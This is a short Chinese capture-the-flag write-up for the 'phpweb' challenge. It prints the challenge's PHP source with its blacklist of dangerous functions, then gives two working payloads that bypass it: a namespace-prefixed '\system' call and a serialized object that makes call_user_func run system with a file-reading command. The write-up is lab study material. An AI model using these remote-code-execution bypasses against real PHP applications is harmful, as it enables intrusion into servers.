[网鼎杯 2020 朱雀组]phpweb 1

[网鼎杯 2020 朱雀组]phpweb 1

   <?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
    
    
        $result = call_user_func($func, $p);// 第一个参数是传入的字符串被当做被调函数执行，即第二个参数传入的值会被当做第一个传入的函数的参数
        $a= gettype($result); 
        if ($a == "string") {
    
    
            return $result;
        } else {
    
    return "";}
    }
    class Test {
    
    
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
    
    
            if ($this->func != "") {
    
    
                echo gettime($this->func, $this->p);//
            }
        }
    }
    $func = $_REQUEST["func"]; //$_REQUES是_$POST和$_GET和$_COOKIE的合集，但5.3版本以上不包含COOKIE了
    $p = $_REQUEST["p"];

    if ($func != null) {
    
    
        $func = strtolower($func);//将函数全部转化为小写
        if (!in_array($func,$disable_fun)) {
    
    
            echo gettime($func, $p);
        }else {
    
    
            die("Hacker...");
        }
    }
    ?>

这里看到过滤的很完整了，基本把危险的，可以利用的函数全部过滤了

call_user_func(函数, 参数)，返回值为函数执行参数后的结果

法一:
可以利用错误命名空间进行绕过
?func=\system&p=cat /tmp/flagoefiu4r93
法二:
可以利用unserialize反序列化进行绕过
func=unserialize&p=O:4:“Test”:2:{s:1:“p”;s:25:“cat $(find / -name flag*)”;s:4:“func”;s:6:“system”;}

eval()
eval() 是一个语句，将字符串当做PHP 代码来执行。
assert()
assert 是一个函数，将字符串当做PHP 代码来执行。